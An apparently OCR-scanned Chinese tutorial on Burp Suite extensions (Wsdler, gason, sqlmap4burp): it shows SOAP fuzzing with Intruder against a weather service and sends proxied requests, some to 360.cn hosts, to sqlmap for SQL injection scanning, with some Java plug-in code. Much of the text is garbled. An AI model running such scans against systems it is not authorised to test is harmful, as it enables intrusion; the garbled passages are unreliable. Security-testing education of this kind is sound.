ThreadFix ™ P S 8 @ gk Pro extension
WCF Deserializer =] b 2 8 arekd
Weblnspect Connector ™ P2 2 8 @ e Pro extension
WebSphere Portlet State D... 8 ookt
What-The-WAF =] P 'S g kakaikd
WSDL Wizard )] b 2.9 grake

M ook
XSS Validator =] b 2 8 0. 0.4 v

Wsdler

This extension takes a WSDL request, parses out the operations that are associated with the targeted web

SOAP requests that can then be sent to the SOAP endpoints.

To use this extension, select a suitable item in Burp, and choose "Parse WSDL" from the context menu.

The extension builds upon the work done by Tom Bujok and his soap-ws project which is essentially the W

Soap-Ul without the UI.

Requires Java version 8

Author: Eric Gruber
Version: 2.0.12

Rating: ***** Submit rating
 Reinstall

U AR 220 T TR, IZE Burp 1 Proxy >> History H, 7] LB 4%/ H [ Parse WSDL] 1)

P
He o

[Target T Proxy I Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Options TAlens TWsdIer ]

Intercept HTI’PhtstotyT WebSockets history TOptions ]

| Filter: Hiding CSS, image and general binary content

# A‘ Host | Method | URL

|Params ]Edited |Status |Length |MIMEtype |Extension Title

GET
GET

1 http://updatem.360safe.com
3 http://graphical.weather.gov

N3/safeup_miniup.cab?autoupdat... W O 302 542

HTML

cab

XmISOAP_server/ndfdXML

http://graphical weather.gov...server/indfdXMLserver.php?wsdl

Remove from scope

Response

_[Ra.wT Params T Headers | Hex

GET http://graphical.weather.gov/xml/S0AP_server/ndfdXMLserve

Accept: image/jpeg, application/x-ms-application, image/gif,

Spider from here

Do an active scan

Do a passive scan

Send to Intruder

Send to Repeater

Send to Sequencer

Send to Comparer (request)
Send to Comparer (response)
Show response in browser
Requestin browser

Parse D

Ctrl+l
Ctrl+R

302 Found

lication/vrn

WIAMEH [Parse WSDL] f#tfrDhfefa, Ubddf B 3hfi@dT i ik %5 1) Operation. Binding.
Endpoint. %4k 54> Operation 2 J5, FILLEA SOAP i ECA. [ARS, AILLKIZEE] Burp

() HAB L R EAT B — P38 AE



Target | Proxy | Spider | Scanner I Intruder TRepeater T Sequencer T Decoder T Comparer I Extender T Options | Alerts Wsdlsr]

[ notssener x |

Operation ‘ Binding \ Endpoint

NDFDgen ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
NDFDgenLatLonList ndfdXMLBinding http: weather. OAP_: server.php
LatLonListSubgrid ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
LatLonListLine ndfdXMLBinding http: weather. OAP_: server.php
LatLonListZipCode ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
LatLonListSquare ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
CornerPoints ndfdXMLBinding http: weather. OAP_: server.php
GmiLatLonList ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
GmiTimeSeries ndfdXMLBinding http: weather. OAP_: server.php
NDFDgenByDay ndfdXMLBinding http:/igraphical.weather.govixml/SOAP_server/ndfdXMLserver.php
NDFDgenByDayL atLonList ndfdXMLBinding http: weather. OAP_: server.php

Request

Raw ParamsTHeaders Hex [ XML

POST /xml/SOAP_server/ndfdMLserver.php HTTP/L.1

Accept: image/jpey, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,

application/msword, *,
Accept-L : zh-cn
User-Agen! <
JNET4.0C) Send to Spider
Accept-Enq Do an active scan
SOAPActiorn

Content-Ty Do a passive scan
Host: gray Send toIntruder Ctrl+

Content-Lgurumyym Repeater Ctrl+R

<soapenv:K Sendto Sequencer

xnlns:ndf
s Send to Comparer

<soape Sendto Decoder

goi Show response in browser
</nq Requestin browser »
</asaponr] Parse WSDL
Engagementtools »
Copy URL
Copy as curl command
Copy to file
Save item

Panunrt aaladinn ~

.0; Windows NT &.1; Trident/4.0; SLCC2;

[L/DWMLgen/wsdl/ndfDML. wsdlflatlonListCityNames

dingStyle="http://schemas.xmnlsoap.org/soap/encoding/">
E">100</displaylLevel>

-NET CLR 2.0.50727;

-NET CLR 3.0.30729; Media Center PC &£.0; InfoPath.Z2;

prg/2001/XMLSchema-instance” xmlns:xsd="http://www.w3.o0rg/2001/XMLSchena” xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/”
/DWMLgen/wsdl/ndf ML, wsdl™>

tean, FADE BRI R R &% 2] Intruder, f#H745E (Character blocks) %)%k

7 3L 5.

J ndfdXMLserver % ]

Operation Binding ‘ Endpoint

NDFDgen ndfdXMLBinding http://graphical. weather.govixml/SOAP_server/ndfdXMLserver.php
NDFDgenLatLonList ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/ndfdXMLserver.php
LatLonListSubgrid ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/indfdXMLserver.php
Latl onListLine ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/ndfdXMLserver.php
LatLonListZipCode ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/indfdXMLserver.php
LatLonListSquare ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/ndfdXMLserver.php
CornerPoints ndfdXMLBinding http:ligraphical weather.govixml/SOAP_server/ndfdXMLserver.php
GmiLatLonList ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/indfdXMLserver.php
GmiTimeSeries ndfdXMLBinding http:ligraphical weather.govixml/SOAP_server/ndfdXMLserver.php
NDFDgenByDay ndfdXMLBinding http:/igraphical weather.govixml/SOAP_server/indfdXMLserver.php
NDFDgenByDayLatl onList ndfdXMLBinding http:ligraphical weather.govixml/SOAP_server/ndfdXMLserver.php

_[ Request]

Raw | Params | Headers | Hex | XML

POST /xml/SOAP_server/ndfdXMLserver.php HTTP/1.1

Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,

application/msword, */*
Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT &.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729;

.NET4.0C)
Accept-Encoding: gzip, deflate

S0APAction: http://graphical.weather.gov/xml/DWMLgen/wsdl/ndfdML.wsdl#latLonListCityNanes

Content-Type: text/xml;charset=UTF-{
Host: graphical.weather.gov
Content-Length: 527

Send to Spider
Do an active scan

<soapenv:Envelope xmlns:xsi="http:/,| DO 3 passivescan
xmlns:ndf="http://graphical.weather SECYS R I 18
<soapenv:Header/>
<soapenv:Body> Send to Repeater
<ndf:LatLonListCityNames soapd Sendto Sequencer
<displayLevel xsi:type="xs(
</ndf:LatLonListCityNames>
</soapenv:Body>
</soapenv:Envelope>

Send to Comparer
Send to Decoder

Chaws rannAnan in hraunear

JZi% Intruder Jo AN TR

Ctri+R

s,

gulsoap.org/soap/encoding/ ">

e"” xmlns:xsd="http://www.w3.orqg/2001/XML " xmlns: P "http: //;

JNET CLR 3.0.30729; Media Center PC £.0; InfoPath.2;

xmlsoap.org/soap/envelope/”




[ Target [ Positions | Payloads | options |

m Payload Positions Start attack

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Attack type: [ Sniper i'J

POST /xul/SOAP_server/ndfdXiLserver.php HTTP/1.1 ] Add
Accept: image/jpey, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, - §
application/vnd.ms-powerpoint, application/msword, */*

Accept-Language: zh-cn Clear §
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT &.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media
Center PC €.0; InfoPath.2; .NET4.0C)

Accept-Encoding: gzip, deflate Auto §

SOAPAction: http://graphical.weather.gov/xnl/DWHLgen/wsdl/ndfdXML. wsdl#LatLlonListCityNanes —
Content-Type: text/xml;charset=UTF-8 Refresh
Host: graphical.weather.gov

Content-Length: 527

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance” xmlns:xsd="http://www.w3.org/2001/XML5chena”
xmlns:soapenv="http://schemas.xmnlsoap.org/soap/envelope/" xmlns:ndf="http://graphical.weather.gov/xmnl/DVMLyen/wsdl/ndfOML. wsdl™>
<soapenv:Header/>
<soapenv:Body>
<ndf:LatLonListCityNames soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">

<displaylLevel xsi:type="xsd:integer"> /displaylevel>
</ndf:LatLonListCityNames>

</soapenv:Body>
</soapenv:Envelope>

fE ) payload NF4FEE 1, M1 %50, BI1,11,111,1111..
K.

Target | Positions [ Pay]_o,aq;.] Options }

LZJ Payload Sets

EHF 504 1, SRS HriL

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for e:
type can be customized in different ways.

Payload set: l1 v Payload count 50

Payload type: | Character blocks |¥|  Requestcount 50

Payload Options [Character blocks]

®

This payload type generates payloads based on blocks of a specified character or string. It can be useful for detecting buffer overflows and exploiting some logic flaws.

-

Base string:

e

Min length:

Max length: 50

Step: 1

A2k payload FHAT & I R W N EFTR



_ - _ . B
E Intruder attack 1 - R C——— T ———  ———— ||

Aftack Save Columns
j RﬁgltsI Target T Positions T Payloads T Options ]
| Filter: Showing all items ?
Request Al Payload | Status | Error | Timeout l Length | Comment
40 aUX T 200 TJ [J 1286 &l
41 41x1 200 ™ O 1286 P
42 42x1 200 O (B 1286
43 43x1 200 O O 1286
44 44x1 200 O ™ 1286
1l
\|| 45 45x1 200 O O 1286
46 46x1 200 O | 1286
||| 47 47x1 200 O O 1286
48 48 x1 200 O O 1286
|| 49 49x1 200 ™ (=) 1286
50 50x1 200 [} [ 1286 v
_[Renuestl Response ]
_[Rayv} Params IHeaders I Hex TXML ]
Content-Type: text/xml;charset=UTF-8 A
Host: graphical.weather.gov
Content-Length: 574
Comnection: close

<sgoapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XML5chena-instance"”
xmlns:xsd="http: //www.w3.org/2001/XML5chena” xmlns:soapenv="http://schenas.xnlsoap.org/soap/envelope/"
xmlns:ndf="http: //graphical.weather. gov/xnl/DWMLgen/wsdl/ndf ML, wsdl">
<soapenv:Header/>
<soapenv:Body>
<ndf:LatLonListCityNames soapenv:encodingStyle="http://schenas.xnlsoap.org/soap/encoding/">
<displaylevel xsi:type="xsd:integer”>11111111111111111111131111111311111111113111111111k/displayLevel>
</ndf:LatLonListCityNames>
</soapenv:Body>
</soapenv:Envelope>

v
? < + = Type a search term 0 matches

R e LFEYTT Y

E A TR AR T Wsdler (AT, FESERRG A, URATBUER] Fuzzdb 153t
B ATERIRMBEMRMIRERAE. BRIRERA AR TR, HEgEd— R0 A1
MR8 F LK, € WebService N IREF K2 2N g9VEIRIE, OrREERN IR # 2 2t
fe LT NABEFRZERG, Kotk BRI EN RSB H T .



{4 Burp, Sqglmap #t17 H 3k SQL yEANZFE MR

£ OWSAP Top 10 H, JE AR HAES —AL0), MAEFE AR F, SQL NI iy
SATEN. Xpath EA . Ldap FEANTEH W, Xt A mEYHAK FEAZE: 7 web MR
[ BEMR A, Wl Burp 1 Sqlmap 41L& K 3E4T SQL i NIRIFFIMR . 78 PFidA &
WNEZ T, BRIANELE IR SQL [ JEFEA SqlMap HIFEARMEH, WRAEAHAME-Y:, &
Sl 1

(SQL AT EHE

AR ETHARA:

) B T SR

Uity —BF SglMap TIF (Bl

1. ¥ [ gason f&if+SqlMap ik SQL v A\ IR
2. Rk sqlmap4burp ffifE+SqlMap &R SQL vE AR

i gason #fiff+SqlMap MR SQL =N 7E1E
TG AR TR N Z A/, FATMan ™S 25

RELZHALE L T python AT IRE4 2
2 sqlmap )& A dr 47 A IF IR 22 e

RRE2 MR T s, B, FAEATHRBEAR TR NE .

Burp Suite 5 SqlMap ¥ & 146154 7 BApp Store H ) SQLIPy 4b (&)

BApp Store L

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp’s capabilities.

Name | Installed | Rating | Detail |

— SQLIP
Logger++ O ookokok & e

. r
Manual Scan Issues L:J **** Pro extension This extension integrates Burp Suite with SQLMap.
MindMap Exporter ™) b 8 8 a*akd
NMAP Parser @] Requirements:
Notes &« @ Jython 2.7 beta, due to the use of json.
Paramalyzer (]
ParrotNG O Pro extension @ Java 1.7 or 1.8 (the beta version of Jython 2.7 requires this).
Payload Parser O ® Arunning instance of the SQLMap APl server.
Pcap Importer \;j Pro extension
PDF Metadata g Pro extension SQLMap comes with a RESTful based server that will execute SQLMap scans. You can manually start the server with:
PDF Viewer g python sqlmspapi.py ~s -H <ip> -p <port>
Protobuf Decoder =]
Python Scripter o Alternatively, you can use the SQLMap API tab to select the IP/Port on which to run, as well as the path to python and sqimapapi.py on
our system.
Random IP Address Header [ JOuRsy
Reflected Parameters O Pro extension Once the SQLMap AP is running, you just need to right-click in the 'Request sub tab of either the Target or Proxy main tabs and
Reissue Request Scripter ™ choose 'SQLiPy Scan’ from the context menu. This will populate the SQLMap Scanner tab with information about that request.
Report To Elastic Search @) Pro extension Clicking the "Start Scan’ button will execute a scan. Ifthe page is vulnerable to SQL injection, then these will be added to the Scanner
Request Randomizer ] Resustan,
Retire.| i) Pro extension
b \:J il Author:  Josh Berry @ CodeWatch

SAML Editor () .
SAML Encoder / Decoder & N Version:0.5.2
SAML Raider 2] Rating: M? Submit rating
Sentinel O
Session Auth Lrj Pro extension Install
Session Timeout Test )]
Site Map Fetcher =]
Software Version Re) : O Pro extension
| SOLIPy F | L] Pro extension
ThreadFix ()] Pro extension
WCF Deserializer o
Weblnspect Connector )] Pro extension
WebSphere Portlet State D... =]
What-The-WAF &
WSDL Wizard o
Wsdler O I,
XSS Validator ] |v



https://www.baidu.com/s?wd=SQL%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%BE%A1.pdf
https://www.baidu.com/s?wd=SQL%E6%B3%A8%E5%85%A5%E6%94%BB%E5%87%BB%E4%B8%8E%E9%98%B2%E5%BE%A1.pdf
https://www.secpulse.com/archives/4213.html
https://www.secpulse.com/archives/4213.html

WA gason Ml sqimap4burp. ASEI A 2 B ZhRE R E/NR:,  FL B #0248 FH dy 217 VR
SqlMap (1) AP #:1133147 SQLyEANFIMAR, X B, FRATEZLL gason A, PHk HARE %

PR ThREMEA -

gason i {2 A6 A KA LLT LA P 3R

1. B2 T # gason i, RATAMGRANMBRESET R Clidi R4 , AR 7 R
W ECHPE, S SRR 1) %2 35 gason-version.jar

2. 77T Burp Extensions #1743, it [Add) %40, %R PRy, 23/
IRFATE, R EMAE, 71Z% (Burp Suite N FEE M) A AE.

J Extensions | Bapp Store | APIs | Options |

Burp Extensions

ensions let you

E  Load Burp Extension

TV VY S S————
T T W T W N

Lot
B

Add

Remove

E

s
5

Please enter the details of the extension, and how you would like to handle standard output and error.

Extension Details

Extension type: Java ¥
Extensi iar). fisafetool\Burpsuite_pro\gason-0.9.6.jar Selectfile ...

_1

! Details Out%t
[/] Extension lo:

Name: | gason-0}|

Item

Extension type
Filename
Method

Extension state|
HTTP listeners
Proxy listeners
Scanner listeng|:
Context menu p{

Standard Output

() Outputto system console

Selectfile ...

() Savetofile:
@® Showin Ul

Standard Error

() Outputto system console

Selectfile ...

() Savetofile:

@® Showin Ul

Cancel Next



https://code.google.com/p/gason/
https://github.com/difcareer/sqlmap4burp
https://code.google.com/p/gason/
https://code.google.com/p/gason/

WRHH T FEP PR R, H [Output]l 1 [Errors] B4~ tab T & A 4 iR I $2
N ER, RNt CZEERNRI.

Burp Extensions

Extensions let you customize Burp’s behavior using your own or third-party code.

[ Add J Loaded |Type Name

V] Java gason-0.9.6 jar

Remove
Up
Down

J Details T Qutput T Errors ]

(/] Extension loaded

Name: gason-0.9.6 jar

ltem | Detail

Extension type Java

Filename D:soff\safetool\Burpsuite_pro\gason-0.9.6.jar
Method registerExtenderCallbacks
Legacy method setCommandLineArgs
Legacy method processHttpMessage
Legacy method processProxyMessage
Legacy method applicationClosing
Legacy method newScanlssue

Extension state listeners 1

HTTP listeners 1

Proxy listeners 1

Scanner listeners 1

Context menu providers 1




3. TG, 24 Burp [ Proxy FFEEEITE B0z, AT EBIKIER] sqimap. W K FTR:
Intercept |HTrP history T WebSockets history T Options ]

| Filter: Showing all items

# A] Host Method | URL | Params | Edited | Status | Length | MIME typ:
8 http:/ivconff.360.cn POST  /safe_update ) (] 200 57182  app

9 http:/fs.£.360.cn POST  Iscan ) O 200 251 app
10 hitp:/iires.ghmsg.com GET /hips/popwnd/data-20140222 json... @ D 200 254 app
11 http:/is £.360.cn POST  Iscan ) ] 200 251 app
12 http:/ires.qghmsg.com GET /hips/popwnd/data-20140222 json... ) O 200 254 app
13 http://10.152.21.215:8080 GET /EntClient.cab?t=335&mid=e836¢D... ) O 200 2536 HTML
14 hitp://md.openapi.360.cn GET Nist/get?product=360tray&version=1 W] [] 200 189 text
15 http:/ivconff.360.cn POST  /safe_update ) [J 200 8169 app
16 http://10.152.21.215:8080 GET /EntClient.cab?t=835&mid=7065d... ] (] 200 2537 HTML
17 http:/iq.soft.360.cn GET Iget_update_info.php?type=update... ) O 200 25365 XML
18 http://q.soft.360.cn POST Iget_polls.php?mid=7065d72c142... @ O 200 2926 XML
19 hitp:/flupdatem.360safe.com GET N3lsafeup_miniup.cab?autoupdat... ) O 302 540 HTML
20 http://src.dl.360safe.com GET /dl.360safe.com/N3/safeup_miniu... ] O 200 4185 app
21 http:/lupdatem.360safe.com  GET N3/safeup_miniup.cab?autoupdat... W O 302 540 HTML
22 http://src.dl.360safe.com GET /dl.360safe.com/3/safeup_miniu... ) ] 200 4185 app
-

_J Request T Response ]

_J Ravf Send to Spider

GET hi pg an active scan roduct=360traysversion=1 HTTP/1.1
Ezzzx:, Do a passive scan

Send to Intruder Ctrl+l

Send to Repeater Ctrl+R

Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Requestin browser »

send to sqlmap

o AT .

4. R EA HI G EEFRE [send tosqimap) 28, MR RIGM IEF 238, FE
B HOHRE — R R KRR A .



5. 4 3A17E Burp £ H0E R H B k% [send tosqlmap] J&, W E3h#H sqimap 15 %
B EAE .
Intercept | HTTP history IWebSockets history I Options ]

‘ Filter: Showing all items

P
|| SQLMap wrapper v0.9.6 - by CrOhn @ggdaniel - Win port by Praetorian @nathansportsman @M

# A‘ Host | d| — ——
J SQLMap options ] ‘

8 http:/ivconff.360.cn POST

9 http:/is.£.360.cn PosT ||| Target

10 hitpires.ghmsg.com GET U... (hiip:imd.openapi.360.cn:80/istiget?product= ion=1_|w) (_Del ) (GET iv)

" http://s.£.360.cn POST Cookie

12 http:/ires.ghmsg.com GET =

13 http://10.152.21.215:8080 GET Binpath | C:\salmap\saimap.py NOT FOUND. Select executable! (5]

i hnpillmd.openapl.:%eo,m ELh Command [ tnon exe C:\saimapisalmap.py NOT FOUND. Select executable! -u http:/md.openapi.:

R | PR

s mlz:llq s.oﬂ 3;50.cn : i DBMS (Auto %) | | [] apostrophemask [_] halfversionedmorekeywords

18 hitp/q.soR360.cn PoST ||| Action  (Auto | | Y 2re ) modsecunersioned

N TSR [[] baseBdencode [ modsecurityzeroversioned

o nnpzllsrc ” 351']33@ Cor'n - Entries for table(s) (] between [] versionedmorekeywords

21 hitp:flupdatem.360safe.com  GET Level [j» Risk - b B E::f::;adih H zp:zz:::::?::

22 http/isrc.dl.360safe.com GET Verbose? [_] Fingerprint? [} = = P |

== 4| | Random User-Agent? [[] space2hash [[] space2mysglblank (I

(] equaltolike [_] space2mysqgldash

Request | Response Database [ ifnun2ifisnull [_J space2randomblank
DBto enum [[] multiplespaces [ versionedkeywords
Raw | Params | Headers | Hex — t — d t
- L Tabletoenum | [ percentage [_J randomcomments
GET http://md.openapi.360.cn/list/get?] D unmagicquotes D space2morehash
Host: md.openapi.3&0.cn

Accept: */* Colto enum (] securesphere [] charunicodeencode
e (] space2plus [ chardoubleencode
Optimization I?Erameters totest
[_J Tum on all optimization switches product=360tray
[_] Predict common queries output version=1
(] Use persistent HTTP(s) connections
[_] Get page length without actual body
Threads 1 D Debug

You can edit paraemters with double mouse clicking

Help Exit [Run..]

MBI AT LA 3l F2 B ShaUOHE BN BT 5 SR8 BUAR e S 40 B 1 e T B
Fo Bt ZHMMSHE, Ek7 (GET/POST) , url #ihk4s. FN, BHEH2Y
Salmap A Sl KR TUE D) 75 2 ERATE AR E, HAmEZ NP

bin H%: X B Z&F5 sqlmap.py HI#42

Command: sqlmap iz47 i $47 i fir &

S—

17

6. % E bin HaR 7 sURMI 8, sl [L...] %4, E&FF sqlmap.py FIAF6E S ERI A . 24 bin
path FL & 1E#i)5, T771 Command £ HaHEH, FEERESHIIAR, HI)HERERIT
1] sqlmap 247 CIRAE A HEIES MR E RS X, 7] A BT /5 Command (&
AE 4k, BIATCAAIE FAN BB TR T sqlmap Z 30— NMETD .



6.1 & bin AUy AURMI#, iy [...] %4, %32 sqimap.py FIAF-EEARRIA] . 24 bin
path BB 1EFfJE, TJ7 i) Command = Bz, HHEKESHIIAR, BB ENT
) sqlmap #r&47 (WIERAEAR A BRI E RS 3, A P B AT F Command {8
A2 A6, BI] DARIIEREA B B T sqlmap ZE0imE— e .

=

Dy Praetorian @nathansportsman l=l@] =

-SQLMap options

Target
| U... | http://md.openapi.360.cn:80/ist/get?product=360tray&version=1 »] | Del | [(GET m‘

Cookie

Binpath [Cisqimap\salmap.py NOT FOUND. Select executable! ' D/

Command

pvthon.exe C:\salmap\salmap.py NOT FOUND. Select executable! -u http://md.openapi.:
Custom options - Tampers

g D =Y

| 'OBMS [Auto NE— —
- e ——

| —

Izl

8l Entries fortable(s) [ B lﬁ sqimap m l ﬁ J l Q J [ ﬁ J [ LE] ]l @ J
[| Level [ ¥) Risk (& shell (& waf [*] ISSUE_TEMPLATE.md
|| Vverbose? ] Fingerprif (&5 tamper (& xmi [¥| README.md

Random User-Agent? ] (& thirdparty [ .gitattributes [ sqimap.conf

s @ = stonr

"DBto enum | (& udf [ travis.yml [/ sqimapapi.py
— v S

Table to enum _. .

Col to enum 1| XfFa®): | sqlmap.py

Usertoenum | wptdemiy | Bzt
Optimization
' [] Turn on all optimization s
[] Predict common queries {i|L_
[ ] Use persistent HTTP(s) co
D Get page length without actual body

<

Threads 1 D Demlg You can dit paraemters with double mouse clicking
Help ([ Bit | (sRuns

THARBEIEM S, [run) #E98E0E, S [runl . RGHE30EE sqimap 334
B Bto



T R
Vin port by Praetorian @nathansportsman [E=REER

6 - by CrOhn @ggdaniel -
| SQLMap options W

UR...

http://md.openapi.360.cn:80/list'aet?product=360tray&version=1

[ {1.0.11.14#dev}

=0

Search:

Save tofile... | [ Closetab |

DN sqimap B, SRS —A tab DU, RoRPATHERE, BRI b EIREERETE

8. FRATTAT LAIE It it B R B i S 1 [save to file] F1 [close tab) k{4744 &5 5 A0 ¢ 1
b,

1§ gason #fifh, S A47 7 RIAT sqlmap BIAAE L, HAEASE M., i, 7wt
TR T, BRATF ESEINE cookie 15 2., A REMAN B dr 247 BLAT; 7REE, HATFHEFL
SEN— N SEAT AT ERE, T/E gason flEFR Y, IXEEHRTREE, A S

[ send

to sqlmap] W, i EHIFERATTEM T X EEE. HE sqimap M E R, FATHET

DL OB S, B, eI TEEM . SR

I InaE Rk sqlmap4burp fE4E+SqlMap &l SQL 1A K



ISR RAET K salmap [113(E . BDAESE RS MEBHIEL 19 SQU VAR, (o7
gason 4111 /7 KA 22 BB W4, R {FAERBERMIOH 7 50E? py L
Be 4105 2 W3 freebuf LA PR FSIAN ST, GBI R T DL LR

1. [tk SQLMAP st &R AL Y http://www.freebuf.com/sectool/75296.htm
2. [FAWTITE—2K B 3ME SQLIEAN TR ] http://www.freebuf.com/sectool/74445. . html

i TR SR, AT UG, SRR EAE BRI AR L, AR AE R DA R
AL, R B e 1 AT TARRGR, N HHAT— i RAIE 7T — " Al g pa A i L o

7t Sqlmap HI'E 5 SRR E XA 4H:

sglmap user’s manual 5 History

5.13.3 Parse targets from Burp or WebScarab proxy logs

Option: -1

Rather than providing a single target URL, it is possible to test and inject
against HTTP requests proxied through Burp proxy or WebScarab proxy. This
option requires an argument which is the proxy’s HT'TP requests log file.

MIXBGE T RATATLAE ., sqimap AT LLEE -1 2%, —&EZA url ByEN RS, X4
¥ IME R Burp proxy B WebScarab proxy £ H & B4, Tl 1E 7 Al LUl s r
I, BRI HE S, RGE sqlmap, RStk B ARG I ) B 7 2 5 AR
HIEM.

7 github I, W/ difcareer AFF 7 —A> Burp #1F sqlmap4burp, JECEEHAE -
https://github.com/difcareer/sglmap4burp. FATEEE T HAGHFIDIRe R, KIeR A 3 itk
& SQL MK ThRE -

B, BADRIERI— FXAEF A5

2iExt Burp REER HTTP FMEH E AL HTTP History #1138+, FRAITAT DAHE &
w24 url, HAEME 34 RS Burp proxy B H &S0, ARG sqlmap #HAT#:
[


http://www.freebuf.com/sectool/75296.html
http://www.freebuf.com/sectool/74445.html
https://github.com/difcareer/sqlmap4burp

ER R L BRRE P TRERC

e ol

| {mrre nistory

TR T
IR

| “Ekproxyiff BH |
RS U

W ISqlMap -
13tk £ e

EE R O FAR oy, SO AT B, R B IR
1. FIWTE A = SN AS, A MIBREN History #1310 DLk A, Tk— %k £ 400
Ko
2. FHAREU HTTP 3 S 4% proxy HEMM, Ak H £
3. A sqlmap.py JIAS, &3 E i) HESIHE NS BETAR . BH 7iXE, AR

fI1RE proxy H H & ST



[ Target I Proxy T Spider I Scanner I Intruder T Repeater T Sequencer I Decoder T Comparer T Extender IquonsT Alerts T Sgimap ]

[Connections T HTTP I SSL I Sessions T Display IM@;:]

Hotkeys

These settings let you configure hotkeys for common actions. These include item-specific actions such as "Send to Repeater”, global actions such as "Switch to Proxy’

ale

Action Hotkey
Send to Repeater Ctrl+R A
Send to Intruder Ctrl+
Forward intercepted Proxy message Ctrl+F >
Toggle Proxy interception Ctrl+T
Switch to Target Ctrl+Shift+T
Switch to Proxy E Choose alog file B &
Edit hotkeys s =) G p—
(Bt EHO: | Deskop E @ (e @& (E) =
- ) (& 160-CrackMe
Q| Logging (& autoMsg
@ These settings control logging of HTTP requests and resy| ﬁ bp ﬁ'
All tools! [[] Requests [ Responses (& bo_doc g
C32Asm
Proxy: (V] Requests [ | Responses _ﬁK_/
-« S
Spider: [:J Requests EJ Responses l
Scanner: [] Requests [ | Responses TSN [ I
Intruder: ] Requests [_] Responses
HER(T): v
Repeater: ] Requests [ | Responses RO [ﬁﬁﬁﬁﬁ: | J
Sequencer: [ ] Requests [ ] Responses _—
, (] (2
Extender: ] Requests [ ] Responses

Temporary Files Location

These settings let you configure where Burp stores its temporary files. Changes will take effect the next time Burp starts up.

6 ®

@ Use default system temp directory

() Use custom location: Choose folder ...

wn EERT~, AT [Options] >> [Misc] >> [Logging] &+ Proxy [ Requests £,
H a3 AR H &SRR RSO 4, s DRRAFEY $edls, WSO AR R R iR e 5%
Proxy i kil & . FATEAE SR H ESCHERICEARITHE KM, HEREW T



N wE | 1480054195903.req | Ny @2 logtxt x
Ql11111111110111111111210 30 1L 40 50 6,0

U 3 ot ol b T ot S v R e e e A S A e R R s

5
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o
I
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<
p—
w
o
N
B
N
—
o
0
S
0
(=}

v

GET http://10.152.21.215:8080/push/EntClientPush.cab?t=303 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 10.152.21.215:8080
Accept: */*

Connection: Keep-Alive
Cache-Control: no-cache

2

RS N TN U VT RS

NS
n
"
|
]
n
"
n
|
n
"
n
]
n
N
|
]
|
u
]
i
n
n
n
N
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]
N
u
n
]
|
u
n
|
|
u
n
|
n
u
u
|
n
u
n
]
B
n
n
|
]
n

0 POST http://vconf.f.360.cn/safe_update?id=1 HTTP/1.1
0 Host: veonf.f.360.cn

1 Accept: */*

> Connection: Keep-Alive

3 Cache-Control: no-cache

4 Content-Length: 774

5 Content-Type: application/x-www-form-urlencoded

N INSE-INGE NGE NG N NS N et Bl ek - el

FE-EHAEE, B -%HENEXNEEET LK, B 2 M EANEMEY 3 KR
R A TR 2 BEE S B BB R A A 2, UIRA T IR s T TR H RS
I 5 % sqimap4burp FIYERS (Windows FREE T ) MR 58 Bax A Dk .



7EJ5S SnifferContextMenuFactory.java A3 2 17 H HEIREUFIA T createMenultems K%L
W B actionPerformed PR, ZAE ML BARAD -

@Override
public List<JIMenuItem> createMenuItems(final IContextMenuInvocation invocation) {
List<IMenuItem> list = new ArraylList<IMenuItem>();
JMenuItem jMenuItem = new JMenuItem("send to Sqlmap");
list.add(jMenultem);
jMenuItem.addActionListener(new ActionListener() {
@Override
public void actionPerformed(ActionEvent e) {
IHttpRequestResponse[] messages = invocation.getSelectedMessages();
File file = new File(Context.getTempRegName(true));
[/ EFRBPEREES, LappendAEmB BE P
for(int i=0;i<messages.length;i++){
byte[] req = messages[i].getRequest();
try {
/[FMEERNBETAEER
FileUtils.writeByteArrayToFile(file,createlLogHeader(messages[i]),true);
//FEmEEFhttpEE
FileUtils.writeByteArrayToFile(file,req,true);
//FMEEFHETREMES
FileUtils.writeByteArrayToFile(file,createlLogFooter(),true);
} catch (IOException el) {
el.printStackTrace();
}

¥
System.out.println("sent to sqlMap™);

new Thread(new SqlmapStarter()).start();

}
})s
return list;
}
T A g H &SR R AR 3 202 5 S RIRs N 2/ i, TR T

* 1iElogHEHEES, Kalin:

R e

* 10:24:42 http://10.152.21.215:8080

x/

private byte[] createlogHeader(IHttpRequestResponse messages){
StringBuffer sb = new StringBuffer();
IRequestInfo analyzeRequest = helpers.analyzeRequest(messages); // iEE{#H{TaT
